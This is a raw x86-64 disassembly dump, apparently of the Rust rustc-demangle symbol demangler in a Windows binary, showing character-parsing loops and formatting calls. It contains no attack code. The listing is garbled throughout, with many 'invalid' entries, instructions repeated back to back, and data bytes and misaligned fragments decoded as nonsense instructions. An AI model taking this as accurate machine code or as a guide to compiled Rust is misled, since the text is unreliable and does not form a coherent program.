add ebx, 0x24
cmp r9, 0x3e57
add byte [rax], al
mov r9, rcx
ja 0x14006d1d0
inc r10
inc edx
lea eax, [rcx*4]
lea eax, [rax + rax*8]
rol byte [rbx - 0x2dced93f], 0x66
div ecx
rol byte [rbx - 0x2dced93f], 0x66
div ecx
movzx r14d, ax
add r14, r11
inc rdi
mov qword [rsp + 0x38], rdi
and al, 0x38
add r15, 4
mov qword [rsp + 0x30], r15
add rbp, 4
dec qword [rsp + 0x50]
and al, 0x50
and al, 0x50
push rax
dec qword [rsp + 0x48]
inc r12
mov qword [rsp + 0x20], r12
and al, 0x20
mov eax, 2
mov qword [rsp + 0x28], rax
mov r12, r13
in al, dx
mov r15, qword [rsp + 0x68]
mov rcx, r10
mov r9d, 0x1a
jmp 0x14006cefa
mov rax, qword [rsp + 0x60]
mov r14, qword [rax + 0x20]
mov esi, dword [rax + 0x20]
invalid
mov esi, dword [rax + 0x20]
mov rax, qword [rax + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.punycode_0
push 0x41000762
mov eax, 9
push 0x41000762
mov eax, 9
invalid
add byte [rax], al
mov rcx, r14
mov ecx, esi
mov rsi, rax
call rax
mov bpl, 1
test al, al
jne 0x14006d2ca
mov r8, qword [rsp + 0x90]
test r8, r8
nop
add byte [rax], al
add byte [rbp - 0x7b], cl
sal byte [rdx + rbp + 0x4c], 0x89
je 0x14006d2b4
mov rcx, r14
je 0x14006d2b4
mov rcx, r14
mov rdx, qword [rsp + 0x88]
mov rdi, rsi
call rsi
invalid
test al, al
jne 0x14006d2ca
and al, 0x88
add byte [rax], al
add byte [rax - 0x77], cl
idiv edi
invalid
lea rdx, [0x1400e34d9]
lea edx, [0x1400e34d9]
mov r8d, 1
mov rcx, r14
call rdi
test al, al
jne 0x14006d2ca
mov rcx, r14
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x70]
mov eax, dword [rsp + 0x70]
mov eax, dword [rsp + 0x70]
mov rdi, rsi
call rsi
test al, al
je 0x14006d2e0
mov eax, ebp
add rsp, 0x298
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, [0x1400e9593]
adc eax, 0x7c2ac
mov r8d, 1
mov rcx, r14
mov rax, rdi
jmp 0x14006ce5b
lea rsi, [rsp + 0x44]
mov rdi, qword [rsp + 0x60]
lea rbx, [rsp + 0x98]
mov r14, qword [rsp + 0x30]
nop
mov eax, dword [rbx]
mov dword [rsp + 0x44], eax
mov rcx, rsi
mov rdx, rdi
mov edx, edi
mov edx, edi
call fcn.140045100
mov ebp, eax
test al, al
jne 0x14006d2ca
add rbx, 4
add r14, 0xfffffffffffffffc
jne 0x14006d310
jmp 0x14006d2ca
lea r8, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x80
mov rcx, r10
shr eax, 1
sub edx, ecx
add eax, dword [rax]
shr eax, 1
sub edx, ecx
add eax, dword [rax]
ud2
int3
mov edx, dword [rcx + 0x10]
cmp rdx, qword [rcx + 8]
jae 0x14006d37a
mov rax, qword [rcx]
movzx eax, byte [rax + rdx]
mov dh, 4
adc byte [rax - 1], cl
ret 0x8948
push rcx
invalid
mov dh, 4
adc byte [rax - 1], cl
ret 0x8948
lea ecx, [rax - 0x41]
cmp cl, 0x1a
jae 0x14006d389
xor ecx, ecx
shl rax, 0x20
invalid
and byte [rax + 9], cl
enter 0xffffffffffffb9c3, 1
add byte [rax], al
add byte [rax], al
xor eax, eax
shl rax, 0x20
or rax, rcx
ret
add al, 0x85
or rax, rcx
ret
mov ecx, 1
add byte [rax], al
xor eax, eax
shl rax, 0x20
or rax, rcx
ret
add al, 0x85
xor edx, edx
xor ecx, ecx
cmp al, 0xe6
setb cl
mov eax, 0x110000
cmovb rax, rdx
shl rax, 0x20
loopne 0x14006d3c1
loopne 0x14006d3c1
or rax, rcx
ret
int3
invalid
test edi, edi
test byte [0x18c06d3d0], al
mov esp, dword [rsi + 8]
lea ebp, [rbx + 1]
mov dh, 0xc0
sbb byte [0x14006d606], r15b
adc ecx, dword [rdi]
xchg dword [rcx + 2], ecx
add byte [rax], al
add byte [rax + 0x63], cl
add al, 0x81
movabs byte [0x1b8410007], al
add byte [rax], al
std
std
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x438850f], eax
test dword [rax], edi
add al, 0
invalid
test dword [rax], edi
add al, 0
add byte [rax - 0x77], cl
int1
ror byte [rdi], 0x85
and eax, 0x41000004
invalid
invalid
test dword [0x18106d476], esp
add byte [rcx - 0x80], al
inc byte [rcx + 0x75]
jne 0x14006d4af
mov rcx, qword [rsi + 0x20]
test rcx, rcx
cmp dh, 0x41
sbb cl, byte [rax - 0x73]
adc eax, 0x7628a
add al, ch
mov esi, 0x84fffd49
ror byte [rdi], 0x85
test esp, edi
test esp, edi
add eax, dword [rax]
add byte [rax - 0x49], al
mov bh, 1
mov rcx, rsi
add byte [rax], al
mov bh, 1
add byte [rax], al
test edi, esp
add eax, dword [rax]
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
test ecx, ecx
iretd
add eax, dword [rax]
add byte [rax - 0x73], cl
adc eax, 0x7a231
invalid
invalid
invalid
mov ecx, dword [rsi + 0x20]
mov ah, 3
add byte [rax], al
add byte [rax], al
xor byte [rbx + 0x5f], bl
std
dec dword [rax - 0x75]
mov rcx, qword [rsi + 0x20]
test rcx, rcx
mov ecx, dword [rsi + 0x20]
sbb eax, 0xaf158d48
invalid
lea edx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
add byte [rcx - 0x48], al
adc byte [rax], al
add byte [rax], al
invalid
add al, ch
xor al, 0x49
std
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x36f850f], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
test rcx, rcx
test ecx, ecx
add byte [rax], al
add al, ch
dec byte [rax - 3]
inc dword [rax - 0x49]
mov dil, 1
test al, al
ror byte [rdi], 0x85
cmp dword [rbx], eax
add byte [rax], al
ror byte [rdi], 0x85
cmp dword [rbx], eax
add eax, dword [rax]
add byte [rax - 0x39], cl
invalid
invalid
invalid
add byte [rax], al
or byte [rcx], al
invalid
test ecx, ecx
test byte [rdx], bl
add eax, dword [rax]
add byte [rax - 0x73], cl
adc eax, 0x763ef
invalid
invalid
invalid
mov edx, dword [rdx + rax*8]
pop rax
invalid
invalid
fiadd dword [rdx]
add byte [rax], al
lea rdx, [0x1400e9ee8]
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
mov rcx, rbx
call fcn.140041e50
invalid
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x2d4850f], eax
add byte [rax], al
mov dil, 1
test al, al
jne 0x14006d896
cmp r14b, 0x50
jne 0x14006d7d9
lea rdx, [0x1400e370b]
lea edx, [0x1400e370b]
mov r8d, 6
jmp 0x14006d7e6
or byte [rdx], al
add byte [rax], al
or byte [rdx], al
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je case.0x14006c156.25
lea rdx, [0x1400e3383]
mov r8d, 1
call fcn.140041e50
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x292850f], eax
ror byte [rdi], 0x85
xchg edx, eax
add al, byte [rax]
invalid
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x292850f], eax
ror byte [rdi], 0x85
xchg edx, eax
add al, byte [rax]
invalid
ror byte [rdi], 0x85
xchg edx, eax
add al, byte [rax]
add byte [rbp + 0x39], cl
cmp r13, r12
jae 0x14006d854
cmp byte [r15 + r13], 0x4c
jne 0x14006d854
cmp r13, r12
jae 0x14006d854
cmp byte [r15 + r13], 0x4c
jne 0x14006d854
add rbx, 2
mov qword [rsi + 0x10], rbx
lea rcx, [rsp + 0x20]
and al, 0x20
and al, 0x20
mov rdx, rsi
call fcn.1400703a0
cmp byte [rsp + 0x20], 0
je 0x14006d81c
invalid
sub eax, 0x7c800000
and al, 0x20
add byte [rdi], cl
test ah, ah
add dword [rax], eax
add byte [rdi], cl
movzx ebx, byte [rsp + 0x21]
mov dh, 0x5c
and al, 0x21
mov rcx, qword [rsi + 0x20]
test bl, bl
je 0x14006d8a8
add al, byte [rax]
add byte [rax - 0x7b], cl
leave
test rcx, rcx
je 0x14006d8c6
lea rdx, [0x1400e36d0]
mov r8d, 0x19
ja 0x14006d6b7
invalid
add byte [rcx - 0x48], al
sbb dword [rax], eax
add byte [rax], al
jmp 0x14006d8ba
pop rsi
adc byte [rax - 0x77], cl
int1
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006d6aa
lea rdx, [0x1400e3713]
mov r8d, 4
call fcn.140041e50
mov dil, 1
test al, al
jne 0x14006d896
invalid
mov rcx, rsi
call fcn.1400704f0
mov dil, 1
test al, al
jne 0x14006d896
mov rcx, qword [rsi]
test rcx, rcx
je 0x14006d7f3
invalid
mov rax, qword [rsi + 0x10]
cmp rax, qword [rsi + 8]
or byte [rdi], r9b
sbb dword [rcx + rax], 0
invalid
or byte [rdi], r9b
sbb dword [rcx + rax], 0
add byte [rax + 0xf4c013c], al
test dword [rdx], edx
add dword [rax], eax
add byte [rax - 1], cl
inc rax
mov qword [rsi + 0x10], rax
lea rcx, [rsp + 0x20]
cmp byte [rcx + rax], 0x4c
jne 0x14006d7f3
inc rax
mov qword [rsi + 0x10], rax
lea rcx, [rsp + 0x20]
mov rdx, rsi
mov edx, esi
call fcn.1400703a0
cmp byte [rsp + 0x20], 0
add byte [rdi], cl
test dword [rax], edi
invalid
invalid
invalid
add byte [rdi], cl
test dword [rax], edi
invalid
mov rbx, qword [rsp + 0x28]
test rbx, rbx
je 0x14006d88b
test byte [rbp + 1], bh
add byte [rax], al
test byte [rbp + 1], bh
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006d731
lea rdx, [0x1400e3717]
mov r8d, 3
call fcn.140041e50
test al, al
jne 0x14006d896
mov rcx, rsi
mov rdx, rbx
call fcn.14006e180
jmp 0x14006d887
call fcn.14006ffe0
jmp 0x14006d884
add dword ss:[rax], eax
invalid
add dword ss:[rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je 0x14006d774
sbb eax, 0x22158d48
pop rsp
invalid
lea rdx, str.____
mov r8d, 1
call fcn.140041e50
out 0x46, eax
std
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x122850f], eax
test dword [rdx], esp
add dword [rax], eax
invalid
out 0x46, eax
std
std
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x122850f], eax
test dword [rdx], esp
add dword [rax], eax
invalid
test dword [rdx], esp
add dword [rax], eax
add byte [rax - 0x77], cl
mov ecx, esi
mov rcx, rsi
mov ecx, esi
call fcn.140070460
mov dil, 1
test rax, rax
test eax, eax
jne 0x14006d896
cmp rdx, 1
jne 0x14006d7b5
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x7b], r9b
leave
test rcx, rcx
je 0x14006d88b
lea rdx, [0x1400e76f5]
mov r8d, 1
call fcn.140041e50
test al, al
invalid
lahf
invalid
ror byte [rdi], 0x85
loope 0x14006d7b3
jne 0x14006d896
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006d88b
test cl, cl
add byte [rax], al
invalid
test cl, cl
leave
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [0x1400e8d76]
lea rdx, [0x1400e8d76]
lea edx, [0x1400e8d76]
mov r8d, 1
add byte [rax], al
call fcn.140041e50
jmp 0x14006d887
lea rdx, [0x1400e3707]
mov r8d, 4
mov rcx, rbx
call fcn.140041e50
jmp 0x14006d878
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006d527
std
invalid
invalid
std
invalid
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140041e50
test al, al
je 0x14006d527
jmp 0x14006d896
mov rdx, qword [rsp + 0x28]
test rdx, rdx
je 0x14006d854
push rdx
or dword [rax], eax
add byte [rax - 0x49], al
add dword [rax + rax*8 - 0x74b79e8b], eax
and byte [rax - 0x7b], r9b
leave
je 0x14006d854
lea rdx, [0x1400e3706]
mov r8d, 1
call fcn.140041e50
test al, al
jne 0x14006d896
cmp r14b, 0x52
je 0x14006d87c
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006d87c
lea rdx, [0x1400e3707]
mov r8d, 4
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
call fcn.140041e50
mov dil, 1
mov bh, 1
std
inc dword [rax - 0x49]
mov bh, 1
test al, al
jne 0x14006d896
mov rcx, rsi
mov bh, 1
test al, al
jne 0x14006d896
mov rcx, rsi
call fcn.14006d3b0
add dword [rax + rax*8 - 0x7cb7f48b], eax
add byte ds:[rbx + rax - 1], dh
sbb byte [rcx], r14b
xor edi, edi
mov eax, edi
add rsp, 0x30
pop rbx
pop rdi
test rcx, rcx
je 0x14006d8c6
invalid
sbb dword [rax - 0x73], ecx
adc eax, 0x75e0c
invalid
invalid
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
invalid
mov r8d, 0x10
call fcn.140041e50
mov dil, 1
invalid
test al, al
invalid
jne 0x14006d896
xchg ecx, eax
std
inc dword [rax - 0x49]
add dword [rax + rax*8 - 0x38b72f8b], eax
invalid
mov qword [rsi], 0
add byte [rax], al
mov byte [rsi + 8], bl
jmp case.0x140050f92.227
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rax, qword [rcx]
test rax, rax
je 0x14006d947
mov rdi, rcx
xor esi, esi
lea rbx, [0x1400e36f1]
xor r14d, r14d
iretd
mov rcx, qword [rdi + 0x10]
cmp rcx, qword [rdi + 8]
jae 0x14006d910
cmp byte [rax + rcx], 0x45
je 0x14006d952
invalid
sub r14, 1
sub r14, 1
jb 0x14006d931
mov rcx, qword [rdi + 0x20]
test rcx, rcx
je 0x14006d931
invalid
adc al, byte [rcx - 0x48]
add al, byte [rax]
add byte [rax], al
mov r8d, 2
mov rdx, rbx
call fcn.140041e50
test al, al
jne case.0x140063fb7.145
mov rcx, rdi
call fcn.14006d970
test al, al
jne case.0x140063fb7.145
mov rax, qword [rdi]
mov eax, dword [rdi]
test rax, rax
jne 0x14006d900
jmp 0x14006d95b
xor esi, esi
jmp 0x14006d95b
mov esi, 1
jmp 0x14006d95b
add byte [rax], al
add bl, ch
or dword [rax - 1], ecx
ror dword [rax - 0x77], 0x4f
adc byte [r9], r14b
inc rcx
mov qword [rdi + 0x10], rcx
adc byte [r9], r14b
invalid
adc byte [r9], r14b
test byte [rax - 0x77], 0xf0
mov rax, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rcx, qword [rcx]
test rcx, rcx
or dword [rax - 0x7b], ecx
leave
je 0x14006d9be
mov r8, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
mov eax, dword [rsi + 0x10]
mov eax, dword [rsi + 0x10]
adc byte [rcx + rdi - 0x40], cl
cmp rax, r8
sal byte [rbx + 0x31], 0xf
mov dh, 0x14
add dword [rbx + 0x35744bfa], eax
je 0x14006d9cb
jae 0x14006d9be
movzx edx, byte [rcx + rax]
cmp edx, 0x4b
je 0x14006d9cb
cmp edx, 0x4c
jne 0x14006d9be
lea r9, [rax + 1]
mov qword [rsi + 0x10], r9
cmp r9, r8
sal dword [rbx + 0x39], 0x42
cmp byte [rcx + rcx], 0x5f
jae 0x14006d9e1
cmp byte [rcx + r9], 0x5f
jne 0x14006d9e1
add rax, 2
add eax, 2
mov qword [rsi + 0x10], rax
xor eax, eax
jmp 0x14006da81
adc byte [rcx], r14b
shr cl, 0xc3
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, esi
mov rcx, rsi
mov ecx, esi
add rsp, 0x20
pop rsi
jmp fcn.14006d3b0
and byte [rsi - 0x17], bl
in eax, 0xf9
invalid
mov ecx, esi
xor edx, edx
add rsp, 0x20
pop rsi
jmp fcn.14006daa0
invalid
add byte [rcx], dh
xor eax, eax
mov r10d, 0x3e
nop dword [rax]
invalid
rol byte [rcx - 0x46], 0x3e
add byte [rax], al
add byte [rdi], cl
invalid
add byte [rbp + 0x39], cl
sal dword [rbx + 0x56], 0x42
movzx edx, byte [rcx + rcx]
cmp r9, r8
cmp ecx, eax
jae 0x14006da4b
movzx edx, byte [rcx + r9]
cmp dl, 0x5f
cli
pop rdi
je 0x14006da3f
lea r11d, [rdx - 0x30]
lea r11d, [rdx - 0x30]
rol byte [rcx - 0x80], 1
sti
or dh, byte [rdx + 0x1f]
cmp r11b, 0xa
jb 0x14006da28
lea r11d, [rdx - 0x61]
cmp r11b, 0x1a
jae 0x14006da18
add dl, 0xa9
jmp 0x14006da25
lea r11d, [rdx - 0x41]
cmp r11b, 0x1a
jae 0x14006da4b
add dl, 0xe3
mov r11d, edx
inc r9
mov qword [rsi + 0x10], r9
mul r10
jo 0x14006da4b
movzx edx, r11b
add rax, rdx
sal byte [rbx - 0x4d], 1
sal byte [rbx - 0x4d], 1
jmp 0x14006da4b
inc r9
mov qword [rsi + 0x10], r9
inc rax
jne 0x14006da81
mov rcx, qword [rsi + 0x20]
test rcx, rcx
and byte [rax - 0x7b], cl
leave
je 0x14006da6e
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
add byte [rax], al
add al, ch
invalid
std
invalid
mov ecx, eax
mov al, 1
add byte [rax], al
add al, ch
invalid
test cl, cl
jne 0x14006da7b
mov qword [rsi], 0
mov byte [rsi + 8], 0
xor eax, eax
ror byte [rax - 0x7d], 0xc4
and byte [rsi - 0x3d], bl
mov rcx, rsi
mov rdx, rax
add rsp, 0x20
pop rsi
jmp fcn.14006e180
int3
in al, dx
cmp byte [rax - 0x77], cl
invalid
add byte [rax], al
movzx ebx, byte [rcx + rax]
lea r8, [rax + 1]
mov qword [rsi + 0x10], r8
mov r10d, dword [rsi + 0x18]
inc r10d
mov dword [rsi + 0x18], r10d
cmp r10d, 0x1f4
cmp edx, 0x1f4
ja 0x14006db70
movzx r10d, bl
add r10d, 0xffffffbf
cmp r10d, 0x38
cli
cmp byte [rdi], cl
xchg eax, ecx
add dword [rax], eax
add byte [rax], al
rol dword [rcx - 0x7d], cl
ret 0x41bf
add byte [rax], al
lea r11, [0x1400efb64]
movsxd r10, dword [r11 + r10*4]
and byte [rax], cl
add byte [rdi + 0x63], cl
movsxd r10, dword [r11 + r10*4]
add r10, r11
jmp r10
fiadd dword [rcx - 1]
loop case.0x14006c156.77
invalid
cmp eax, ecx
jae case.0x14006db0c.104
cmp byte [rcx + r8], 0x6e
jne case.0x14006db0c.104
add rax, 2
mov qword [rsi + 0x10], rax
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je case.0x14006db0c.104
lea rdx, [0x1400e34d9]
mov r8d, 1
add al, ch
adc al, byte [rbx - 3]
inc dword [rax - 0x49]
mov bh, 1
test al, al
jne 0x14006e06c
add byte [rax], al
add al, ch
adc al, byte [rbx - 3]
inc dword [rax - 0x49]
mov bh, 1
test al, al
invalid
test dword [rbx], esp
invalid
add byte [rax], al
mov rcx, rsi
mov edx, ebx
call fcn.14006e370
mov dil, 1
test al, al
jne 0x14006e06c
invalid
add byte [rax - 0x7d], cl
add byte ds:[rdi], cl
test byte [rdx], al
add eax, 0x4eff0000
sbb cl, ch
cli
add al, 0
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
cmp qword [rsi], 0
je 0x14006e06a
dec dword [rsi + 0x18]
jmp 0x14006e06a
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006db96
lea rdx, [0x1400e36d0]
mov r8d, 0x19
call fcn.140041e50
mov dil, 1
test al, al
jne 0x14006e06c
mov qword [rsi], 0
mov byte [rsi + 8], 1
jmp 0x14006e06a
test dl, dl
je 0x14006dd82
xor ebp, ebp
jmp 0x14006dee4
mov rcx, rsi
call fcn.14006e640
or al, byte [rax]
add bl, ch
xchg esp, eax
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006dee1
lea rdx, [0x1400e76f6]
mov r8d, 1
call fcn.140041e50
mov bpl, 1
mov dil, 1
test al, al
je 0x14006dee4
jmp 0x14006e06c
mov bpl, 1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006df0a
lea rdx, [0x1400e76f3]
mov r8d, 1
call fcn.140041e50
mov dil, 1
test al, al
jne 0x14006e06c
mov rcx, rsi
call fcn.14006ee20
mov dil, 1
test rax, rax
jne 0x14006e06c
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006e0ab
lea rdx, [0x1400e76f4]
jmp 0x14006dfb2
mov r8d, 1
call fcn.140041e50
jmp 0x14006e0a7
test al, al
jne 0x14006e06c
test bpl, bpl
je 0x14006db5e
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006db5e
lea rdx, [0x1400e9593]
mov r8d, 1
call fcn.140041e50
jmp 0x14006db53
invalid
invalid
invalid
invalid
add byte [rdx + 0xa], bh
call fcn.1400a9d70
xchg edi, eax
scasd eax, dword [rdi]
add eax, dword [rax]
ud2
lea eax, [0x1400e3648]
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400aa440
ud2
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [rbx + 8]
jae 0x14006eee0
cmp byte [rax + rcx], 0x45
je 0x14006ef28
test rsi, rsi
je 0x14006ef00
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x14006ef00
mov r8d, 2
mov rdx, r14
add byte [rcx + rcx*4 - 0xe], cl
call fcn.140041e50
test al, al
jne 0x14006ef21
mov rcx, rbx
mov dl, 1
call fcn.14006daa0
test al, al
jne 0x14006ef21
inc rsi
mov rax, qword [rbx]
test rax, rax
jne 0x14006eed0
jmp 0x14006ef31
mov edi, 1
jmp 0x14006ef31
inc rcx
mov qword [rbx + 0x10], rcx
xor edi, edi
ror dword [rax - 0x77], 0x4b
adc byte [rcx], dh
dec dword [rax - 0x77]
clc
mov rax, rdi
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
int3
lea ebx, [rsp + 0x40]
lea r14, str.:_library_std_srciomod.rs
lea r15, [0x1400e36f1]
invalid
add byte [rbp + 0x31], al
invalid
invalid
mov r9, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r9
jae 0x14006efa7
cmp byte [r8 + rax], 0x45
je 0x14006f1ba
adc eax, dword [rdx]
add byte [rax], al
adc eax, dword [rdx]
add byte [rax], al
test r12, r12
je 0x14006efdf
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006efdf
mov r8d, 2
mov rdx, r15
mov edx, edi
mov edx, edi
call fcn.140041e50
test al, al
jne case.0x14002f3a6.436
invalid
add byte [rbx + rcx*4 + 6], cl
mov r8, qword [rsi]
test r8, r8
je 0x14006f082
mov r9, qword [rsi + 8]
mov ecx, dword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r9
jae 0x14006f0d0
cmp byte [r8 + rax], 0x73
jne 0x14006f0d0
lea rcx, [rax + 1]
mov qword [rsi + 0x10], rcx
cmp rcx, r9
jae 0x14006f014
cmp byte [r8 + rcx], 0x5f
jne 0x14006f014
add rax, 2
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x10], eax
mov dword [rsi + 0x10], eax
jmp 0x14006f0d0
add byte [rcx], dh
shl byte [rsi + 0x2e], 0xf
invalid
xor eax, eax
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
cmp rcx, r9
cmp ecx, ecx
jae 0x14006f147
add byte [rcx + 0xf], al
mov dh, 0x14
or byte [rax - 0x7bf0a006], al
jge 0x14006f035
movzx edx, byte [r8 + rcx]
cmp dl, 0x5f
je 0x14006f0b4
add byte [rax], al
lea r10d, [rdx - 0x30]
cmp r10b, 0xa
jb 0x14006f064
lea r10d, [rdx - 0x61]
cmp r10b, 0x1a
jae 0x14006f050
add dl, 0xa9
jmp 0x14006f061
lea r10d, [rdx - 0x41]
cmp r10b, 0x1a
jae 0x14006f147
add byte [rax], al
add byte [rax], al
add dl, 0xe3
mov r10d, edx
ror byte [rax - 1], cl
ror dword [rax - 0x77], 0x4e
inc rcx
mov qword [rsi + 0x10], rcx
adc byte [rax - 9], cl
invalid
adc byte [rax - 9], cl
in eax, 0xf
adc bl, 0
add byte [rax], al
invalid
mul ebp
jo 0x14006f147
add byte [rax], al
add byte [rcx + 0xf], al
movzx edx, r10b
mov dh, 0xd2
add rax, rdx
jae 0x14006f020
sal byte [rbx - 0x5d], 1
jmp 0x14006f147
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
leave
je 0x14006f179
mov r13d, 1
mov r8d, 1
lea rdx, [0x1400e36e9]
call fcn.140041e50
test al, al
je 0x14006f136
jmp 0x14006f17c
add byte [rax], al
inc rcx
mov qword [rsi + 0x10], rcx
inc rax
je 0x14006f147
cmp rax, 0xffffffffffffffff
je 0x14006f147
add byte [rax], al
invalid
add byte [rax], al
add byte [rsi - 0x70], ah
nop
mov rcx, rdi
mov rdx, rsi
call fcn.14006cab0
cmp qword [rsp + 0x20], 0
je 0x14006f190
movups xmm0, xmmword [rsp + 0x20]
movups xmm1, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov r13, qword [rsi + 0x20]
test r13, r13
je 0x14006f128
mov rcx, rbx
mov rdx, r13
call fcn.14006cce0
test al, al
jne case.0x14002f3a6.436
mov r8d, 2
mov rcx, r13
mov rdx, r14
call fcn.140041e50
test al, al
jne case.0x14002f3a6.436
mov rcx, rsi
mov dl, 1
call fcn.14006daa0
test al, al
jne case.0x14002f3a6.436
mov r8, qword [rsi]
inc r12
test r8, r8
jne 0x14006ef8f
jmp 0x14006f179
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006f16e
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
mov eax, 0x10
mov eax, 0x10
call fcn.140041e50
test al, al
je 0x14006f16e
sub al, 0xfd
inc dword [rax + rax*8 - 0x42bef78c]
mov r13d, 1
mov r13d, 1
jmp 0x14006f17c
invalid
mov qword [rsi], 0
mov byte [rsi + 8], 0
add dh, al
or byte [rax], r8b
xor r13d, r13d
mov rax, r13
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movzx ebx, byte [rsp + 0x28]
mov rcx, qword [rsi + 0x20]
test bl, bl
sub byte [rax - 0x75], cl
and byte [rbx + r11*8 - 0x7ab7d98c], r8b
je 0x14006f1c3
test rcx, rcx
je 0x14006f1c3
test rcx, rcx
je case.0x140046a5e.333
lea rdx, [0x1400e36d0]
mov r8d, 0x19
call fcn.140041e50
pushfq
sub al, 0xfd
invalid
test al, al
jne case.0x14002f3a6.436
pushfq
sub al, 0xfd
inc dword [rax + rax*8 + 0x24ebae75]
jmp case.0x140046a5e.333
inc rax
mov qword [rsi + 0x10], rax
jmp 0x14006f179
test rcx, rcx
je case.0x140046a5e.333
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140041e50
test al, al
jne case.0x14002f3a6.436
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp 0x14006f179
int3
sub esp, 0xb0
mov rdx, qword [rcx + 8]
mov r8, qword [rcx + 0x20]
mov eax, 0x110001
add byte [rcx], dl
add byte [rcx + rbp - 0x3e], cl
add byte [rcx], dl
add byte [rcx + rbp - 0x3e], cl
jb 0x14006f5f8
mov rax, qword [rcx]
lea r9, [rax + r8]
mov qword [rcx], r9
mov qword [rcx + 8], rdx
cmp r8, 2
jne 0x14006f639
movzx r10d, byte [rax]
movzx r8d, byte [rax + 1]
lea eax, [r10 - 0x30]
cmp eax, 0xa
jb 0x14006f25b
or r10d, 0x20
add r10d, 0xffffff9f
add r10d, 0xa
mov eax, 0xffffffff
cmovae eax, r10d
cmp eax, 0x10
jae 0x14006f61f
lea r11d, [r8 - 0x30]
cmp r11d, 0xa
jb 0x14006f285
lea rsi, [rsp + 0x40]
lea rdx, [rsp + 0x24]
and al, 0x48
mov ecx, esi
and al, 0x48
mov ecx, esi
call fcn.1400433d0
cmp qword [rsp + 0x40], 0
invalid
je 0x14006f30a
invalid
std
dec dword [rax - 0x7d]
jl 0x14006f2f1
add byte [rcx + rdi - 0x48], sil
add byte [rcx + rdi - 0x48], dh
cmp dword [rax + 0x110000], edi
mov eax, 0x110000
add byte [rax], al
adc dword [rax], eax
invalid
add cl, ch
jmp 0x14006f5f8
sbb eax, 0xb8000003
add byte [rax], al
adc dword [rax], eax
cmp r11b, 0xc0
sti
ror byte [rdi], 0x82
invalid
invalid
add eax, dword [rax]
invalid
sti
ror byte [rdi], 0x82
invalid
invalid
invalid
cmp r11b, 0xe0
jb 0x14006f344
sti
loopne 0x14006f361
push rsp
cmp r11b, 0xf0
cmp bl, 0xf0
jae 0x14006f3a3
mov r8d, 3
mov eax, 3
mov r10b, 1
xor eax, eax
jmp 0x14006f3b8
mov rcx, qword [rsp + 0x48]
